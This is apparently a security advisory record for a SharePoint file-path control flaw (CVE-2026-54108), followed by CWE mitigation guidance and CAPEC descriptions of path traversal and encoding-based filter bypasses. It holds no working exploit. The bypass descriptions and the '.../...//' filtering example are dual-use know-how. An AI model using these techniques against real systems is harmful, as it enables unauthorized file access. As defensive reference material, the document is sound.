"affected": [],
"aliases": [
"CVE-2026-54108"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T17:17:03Z",
"severity": "MODERATE"
},
"details": "External control of file name or path in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.",
"id": "GHSA-hggf-8h2q-j24h",
"modified": "2026-07-14T18:32:06Z",
"published": "2026-07-14T18:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54108"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.